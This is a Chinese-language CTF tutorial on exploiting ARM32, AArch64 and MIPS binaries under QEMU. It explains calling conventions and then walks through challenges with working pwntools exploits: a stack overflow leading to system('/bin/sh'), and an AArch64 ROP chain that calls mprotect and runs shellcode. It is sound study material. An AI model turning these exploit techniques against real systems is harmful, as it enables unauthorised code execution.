异构Pwn

2022-10-09
  1. 0x00:指令集架构–ISA
  2. 0x01:架构环境模拟
  3. 0x02:ARM32
  4. 0x03:ARM32 例题实践
  5. 0x04:AARCH64
  6. 0x05:AARCH64 例题实践
  7. 0x06:MIPS
  8. 0x07:MIPS 例题实践
  9. 0x08:题目附件

0x00:指令集架构–ISA

ISA的历史背景:

早期计算机出现时,软件的编写都是直接面向硬件系统的。即使是同一计算机公司的不同计算机产品,它们的软件都是不能通用的,这个时代的软件和硬件紧密的耦合在一起,不可分离。

IBM为了让自己的一系列计算机能使用相同的软件,免去重复编写软件的痛苦,在它的System/360计算机中引入了ISA(Instruction Set Architecture,指令集架构)的概念。将编程所需要了解的硬件信息从硬件系统中抽象出来,这样软件人员就可以面向ISA进行编程了,开发出来的软件不经过修改就可以应用在ISA架构的其它系统上。

ISA用来描述编程时用到的抽象机器,而非这种机器的具体实现。从编程人员的角度来看,ISA包括一套指令集和一些寄存器,程序员知道它们就可以编写程序。在PC领域,Intel和AMD的处理器都是基于x86指令集的,因此我们不用担心换了高性能的CPU后,软件不能用了。而手机上的程序不能在电脑上用,这是因为手机上的程序绝大部分是基于ARM指令集的。

pic01


微架构与指令集架构的关系:

微架构对应(Microarchitecture)的是底层硬件如何实现指令执行的,而指令集架构对应的是程序员所看到的程序的模样。

具体指令是如何被处理器一步一步完成执行任务的,这就交给了微架构。而到底有哪些指令可供使用、指令是什么格式、哪些通用寄存器可以用,以及这些指令在程序员看来是要如何执行的,就是ISA的范畴了。

因此程序员在某个ISA上写的程序,这个程序的每一步执行了什么操作,最终结果如何,程序员是知道的。而程序员不知道的是,每一步的指令到底是如何被处理器完成的。


ISA的发展历程:

1977年,巴库斯发明了世界上的第一个高级语言Fortran。

1、复杂指令集运算(Complex Instruction Set Computing,CISC)

在这个时期的存储器既昂贵且速度慢,因此指令使用了变长编码,以节约存储空间。由于一条指令能完成很多的功能,对内存的访问也减少了,这样也减少了缓慢的存储器访问对程序性能的影响。

计算机发展早期,人们使用汇编语言编程,自然更喜欢强大和好用的指令集,处理器的设计人员于是将指令集设计得更强大、更灵活。后来高级语言出现了,处理器设计人员又在指令集中增加了一些指令集和特性直接完成高级语言对应的某些功能,如复杂的寻址模式,直接对应指针的运算。


2、精简指令集运算(Reduced Instruction Set Computing,RISC)

在上世纪70年代中叶,IBM的John Cocke发现,很多时候,处理器提供的大量指令集和复杂寻址方式并不会被编译器生成的代码用到。于是,基于这种思想,一些专家将指令集和处理器进行了重新的设计。在新的设计中,只保留了常用的简单的指令,这样处理器就不需要浪费太多晶体管去做那些复杂又很少使用的功能了。由于简单指令大部分时间都能在一个cycle内完成,因此处理器的频率得以大幅提升。这个时期为了更好地实现流水线,指令集采用了定长编码,这样指令的译码过程就简单了。

CISC代表复杂指令集计算机,其实最开始并没有CISC这个词,只是后来出现了新的计算机设计思想,于是将采用新思想开发的计算机称为RISC(精简指令集计算机),将以前的计算机称为CISC。

对比 CISC(X86) RISC(ARM,MIPS,etc)
访存模式 多种寻址模式 load/store
指令宽度 变长 定长
操作数来源 内存或寄存器 寄存器
IO通信 占用的IO指令和IO地址空间 内存映射
访存对齐 不需要 需要
数据类型 多而复杂 少而简洁
寄存器堆 相对更小 相对更大
设计原则 功能多样的复杂指令集 功能完备的精简指令集

参考:https://blog.csdn.net/stringnewname/article/details/90443939


精简指令集的约定:
BYTE(字节):      8Bits
HalfWORD(半字):  16bits
WORD(字):       32bits

0x01:架构环境模拟

qemu的安装:
sudo apt update
sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system

如果程序是静态链接并且是32位 arm架构的话,输入qemu-arm ./程序名

如果程序是静态链接并且是aarch64架构的话,输入qemu-aarch ./程序名

如果程序是动态链接且是32位 arm架构的话,输入qemu-arm -L /usr/arm-linux-gnueabihf ./程序名

如果程序是动态链接且是aarch64架构的话,输入qemu-aarch64 -L /usr/aarch64-linux-gnu ./程序名


库的安装:

动态链接的程序的正常运行,需要安装对应架构的动态链接库才行。

用这个命令来查对应架构的动态链接库

sudo apt search "libc6" | grep mips

pic11

键入命令:sudo apt install libc6-dev-mips-cross即可安装对应的库。

# 这一大坨直接下吧,常用的架构
sudo apt-get install libc6-arm64-cross libc6-armel-cross libc6-armhf-cross libc6-mips-cross libc6-mips32-mips64-cross libc6-mips32-mips64el-cross libc6-mips64-cross libc6-mips64-mips-cross libc6-mips64-mipsel-cross libc6-mips64el-cross libc6-mipsel-cross libc6-mipsn32-mips-cross libc6-mipsn32-mips64-cross libc6-mipsn32-mips64el-cross libc6-mipsn32-mipsel-cross

调试:

启动调试和运行程序的命令很相似,仅仅是加了一个参数-g 然后后面跟一个端口。

比如程序是动态链接的32位 arm架构的话,输入qemu-arm -g 1234 -L /usr/aarch64-linux-gnu ./程序名

这个1234是你指定的端口,指定别的端口也可以。然后参照运行程序那四个命令以及上面这个命令,就可以依次类推出调试aarch64架构的命令了。

此时再打开另一个终端,输入gdb-multiarch(必须是用pwndbg,如果是peda的话,是没法正常调试的

然后再输入target remote localhost:1234 连接到刚才开的那个端口。


部分内容参考:https://www.cnblogs.com/ZIKH26/articles/16077191.html


0x02:ARM32

函数调用约定:

函数的第1-4个参数分别保存在R0~R3寄存器中,剩下的参数从右到左依次入栈,被调用者实现栈平衡,函数的返回值保存在R0中。另外,arm的b/bl等指令实现跳转,pc寄存器相当于x86下的eip寄存器,保存下一条指令的地址。

pic02

其它的指令可参考:https://blog.csdn.net/weixin_47447179/article/details/122991708


0x03:ARM32 例题实践

题目:typo
tolele@tolele-ubuntu22:~/studyspace $ file typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

tolele@tolele-ubuntu22:~/studyspace $ checksec typo
[*] '/home/tolele/studyspace/typo'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

程序分析:由于程序剔除了符号表,在IDA中反汇编查看代码也难以下手。网上有个叫rizzo的IDA插件,说是有个恢复符号表,但似乎在IDA Pro 7.6中加载不出来。所以现在只能先运行,看看有没有信息,再随机应变了。

tolele@tolele-ubuntu22:~/studyspace $ ./typo
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit

------Begin------
tight
tolele                     //我的输入   
E.r.r.o.r.

near

可在IDA中查找这几句字符串,从而找到main函数。其实好像找到了main函数,反汇编帮助也不大,不如根据信息的提示来输入看看。

执行程序后,输入回车开始打字练习,然后输入~就会退出练习。既然是可以输入一段很长的字符串,又根据程序剔除了符号表(主要因为它是一道题目),我们可以大胆猜测是一道简单的栈溢出。那么,我们可以先判断一下偏移。


讲一下怎么调试:

首先,在终端1用qemu-arm -g [port] ./typo开个端口运行用于被连接。然后另开个终端2使用gdb-multiarch工具,执行命令:target remote 127.0.0.1:[port] 在本地环境可简写为target remote:[port]进行连接程序,进入调试先用cyclic 200生成长字符串用于测偏移。开始测试:在终端1输入回车,使得可以输入字符串,然后输入长字符串,在终端2的调试中发现程序崩溃了,这是因为发生了栈溢出,导致返回地址无效。

pic03

最后,在cyclic -l 0x62616164查看偏移为112:

pic04

在ARM32指令集中,R0~R3存储函数调用的前4个参数。pc相当于x86指令集中的IP寄存器。因为程序是静态链接的,我们可以查找/bin/sh字符串和相应的gadget。至于system函数,我们可以通过查找/bin/sh字符串在IDA中找到。

pic05

最后,EXP如下:

from pwn import *
context(os='linux', arch='arm', log_level='debug')

io = process("./typo")
binsh = 0x6c384
system = 0x10ba8
gadget = 0x20904

payload = b'A'*112 + p32(gadget) + p32(binsh) + p32(0) + p32(system)
io.sendline()
io.sendline(payload)
io.interactive()

0x04:AARCH64

AARCH64也即64位的ARM,从ARMv8开始才有。ARMv8分为aarch32和aarch64两部分。

寄存器:

AARCH64 有 31 个通用寄存器: X0-X30, 每个都是 64 位. 如下图 1, 低 32 位可以通过 W0-W30 来访问. 当写入 Wy 时, Xy 的高 32 位会被置 0。

pic06

pic07


函数调用约定:

AARCH64标准提供了8个通用寄存器(R0~R7)用于传递函数参数,依次对应于前8个函数参数。超过8个的参数使用堆栈进行参数传递。

函数的返回值用通用寄存器R0来保存。


相关指令:
// 感谢Nirvana师傅的总结
LDR指令:
LDR X23, [SP,#0x40]  ;将sp+0x40的内容赋给x23

LDP指令:
出栈指令(ldr 的变种指令,可以同时操作两个寄存器)
ldp x29, x30, [sp, #0x10] ;将sp偏移0x10和0x18的字节的值取出来,分别存入寄存器x29和寄存器x30
LDP X29, X30, [SP+0x20],#0x20  ;将sp偏移0x20和0x28的字节的值取出来,分别存入寄存器x29和寄存器 x30,并且将sp+0x20 

STP指令:
入栈指令(str 的变种指令,可以同时操作两个寄存器)
stp x29, x30, [sp, #0x10] 	;将x29, x30的值存入sp偏移16个字节的位置

BNE指令,是个条件跳转。即:是“不相等(或不为0)跳转指令”。如果不为0就跳转到后面指定的地址,继续执行。
B 是最简单的分支。一旦遇到一个 B 指令,ARM 处理器将立即跳转到给定的地址,从那里继续执行。

其它指令可参考:https://blog.csdn.net/tanli20090506/article/details/71487570


0x05:AARCH64 例题实践

Shanghai2018 – baby_arm
tolele@tolele-ubuntu22:~/studyspace $ file shbaby
shbaby: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped

tolele@tolele-ubuntu22:~/studyspace $ checksec shbaby
[*] '/home/tolele/studyspace/shbaby'
    Arch:     aarch64-64-little        //aarch64
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

用IDA静态分析:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  ssize_t v3; // x0

  Init();
  write(1, "Name:", 5uLL);
  v3 = read(0, &unk_411068, 0x200uLL);     //对bss段进行写
  sub_4007F0(v3);
  return 0LL;
}

//sub_4007F0:
ssize_t sub_4007F0()
{
  __int64 v1; // [xsp+10h] [xbp+10h] BYREF

  return read(0, &v1, 0x200uLL);       //栈溢出
}

通过read可以向bss段0x411068写入shellcode,但一般来说bss段是没有执行权限的。不过程序中给了mprotect函数,该函数可用于修改段的权限,这样的话就可以修改unk_411000该页为可执行。

// mprotect函数的定义
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读,值为1;
2)PROT_WRITE:内存段可写,值为2;
3)PROT_EXEC:内存段可执行,值为4;
4)PROT_NONE:内存段不可访问,值为0;
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。

现在问题是怎么控制栈数据,使得可以控制执行流?通过IDA中寻找可以发现,有个init函数起到了和x86下的__libc_csu_init类似的作用:

.text:00000000004008AC
.text:00000000004008AC loc_4008AC                              ; CODE XREF: init+60↓j
.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3]
.text:00000000004008B0                 MOV             X2, X22
.text:00000000004008B4                 MOV             X1, X23
.text:00000000004008B8                 MOV             W0, W24
.text:00000000004008BC                 ADD             X19, X19, #1
.text:00000000004008C0                 BLR             X3
.text:00000000004008C4                 CMP             X19, X20
.text:00000000004008C8                 B.NE            loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC                              ; CODE XREF: init+3C↑j
.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10]
.text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC                 RET
.text:00000000004008DC ; End of function init
.text:00000000004008DC
.text:00000000004008E0
// var_s0 = 0

在loc_4008CC一段:

第一行即是把sp+10的值传给x19,把sp+18的值传给x20。第二、三行类似。

第四行即是把sp+0的值传给x29,把sp+8的值传给x30,最后sp = sp + 0x40。

第五行ret即是返回到x30存储的地址处执行。


在loc_4008AC一段:

第一行即是把x19逻辑左移3位,然后x19与x21相加得到的结果作为地址指针,把指向的值赋给x3。

第五行即是x19 = x19 + 1

第六行即是跳转到x3处执行(因此为了方便控制x3,第一行的x19可以赋0),同时把下个指令的地址存到x30。


动手看看~

对第二次输入后下断点调试,断在0x40080C处:

pic08

发现输入的数据竟然是在ret_addr是上方,这说明不能覆盖该栈帧的返回地址。但这里是函数sub_4007f0的栈帧,由于我们可以输入大量数据,可以考虑覆盖上一层栈帧,也就是main函数的栈帧。思路是第一次先执行mprotect函数修改0x411000段的权限,第二次在跳转到0x411068(shell)处执行。

from pwn import *
context(os='linux', arch='aarch64', log_level='debug')

io = process("./shbaby")
elf = ELF("./shbaby")

mpro_plt = elf.plt['mprotect']
csu01 = 0x4008ac
csu02 = 0x4008cc
bss_addr = 0x411068

#shell
shellcode = asm(shellcraft.aarch64.sh())
shellcode = shellcode.ljust(0x100, b'\x00')
shellcode += p64(mpro_plt)
io.sendlineafter("Name:", shellcode)
  
#first
payload = b'A'*0x48 + p64(csu02)
payload += p64(0) + p64(csu01)
payload += p64(0) + p64(1)
payload += p64(bss_addr + 0x100) + p64(0x7)
payload += p64(0x1000) + p64(0x411000)
# second
payload += p64(0) + p64(bss_addr) + p64(0)*6
io.sendline(payload)
io.interactive()

0x06:MIPS

MIPS有32个通用寄存器($0 ~ $31),2个特殊的寄存器(hi、lo)用于保存乘法和除法指令的结果,还有一个计数寄存器pc。

pic09


MISP的函数调用约定:$a0~$a3 用于函数前四个参数传参,多的参数用堆栈传参。$v0~$v1用于保存函数返回值。$fp寄存器可以理解为x86下的ebp

pic10

其它指令可参考:https://valeeraz.github.io/2020/05/08/architecture-mips/


0x07:MIPS 例题实践

HWS入营赛题: Mplogin
tolele@tolele-ubuntu22:~/studyspace $ file Mplogin
Mplogin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

tolele@tolele-ubuntu22:~/studyspace $ checksec Mplogin
[*] '/home/tolele/studyspace/Mplogin'
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
tolele@tolele-ubuntu22:~/studyspace $ 

用IDA进行静态分析:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // $a2
  int v5; // [sp+18h] [+18h]

  setbuf(stdin, 0, envp);
  setbuf(stdout, 0, v3);
  printf("\x1B[33m");
  puts("-----we1c0me t0 MP l0g1n s7stem-----");
  v5 = sub_400840();
  sub_400978(v5);
  printf("\x1B[32m");
  return puts("Now you getshell~");
}

//子函数
int sub_400840()
{
  char v1[24]; // [sp+18h] [+18h] BYREF

  memset(v1, 0, sizeof(v1));
  printf("\x1B[34m");
  printf("Username : ");
  read(0, v1, 24);
  if ( strncmp(v1, "admin", 5) )   //admin...
    exit(0);
  printf("Correct name : %s", v1);  
  return strlen(v1);
}

int __fastcall sub_400978(int a1)
{
  char v2[20]; // [sp+18h] [+18h] BYREF
  int v3; // [sp+2Ch] [+2Ch]
  char v4[36]; // [sp+3Ch] [+3Ch] BYREF

  v3 = a1 + 4;
  printf("\x1B[31m");
  printf("Pre_Password : ");
  read(0, v2, 36);
  printf("Password : ");
  read(0, v4, v3);
  if ( strncmp(v2, "access", 6) || strncmp(v4, "0123456789", 10) )
    exit(0);
  return puts("Correct password : **********");
}

在函数sub_400840中因为使用了strncmp对”admin”进行判断,导致admin后面加数据也可以通过。再通过后面的printf函数可以泄露栈地址,同时可以使sub_400978函数中read(0, v4, v3)栈溢出。

但在泄露栈地址时,死活泄露不出来:

payload01 = b"admin" + b'A'*18
io.sendlineafter("Username : ", payload01)
io.recvuntil(b'AAA\n')
stack = u32(io.recv(4))
print("@@@ stack_addr = " + str(hex(stack)))

不幸的是,用gdb-multiarch调试时也发生了报错😭

后面再查查调试报错的原因,gdb-multiarch用得还不是很熟。


0x08:题目附件

本文所用到的附件:

链接:https://pan.baidu.com/s/1mMW-dxbcMOIDMPfmJ3mqrg
提取码:lele

返回首页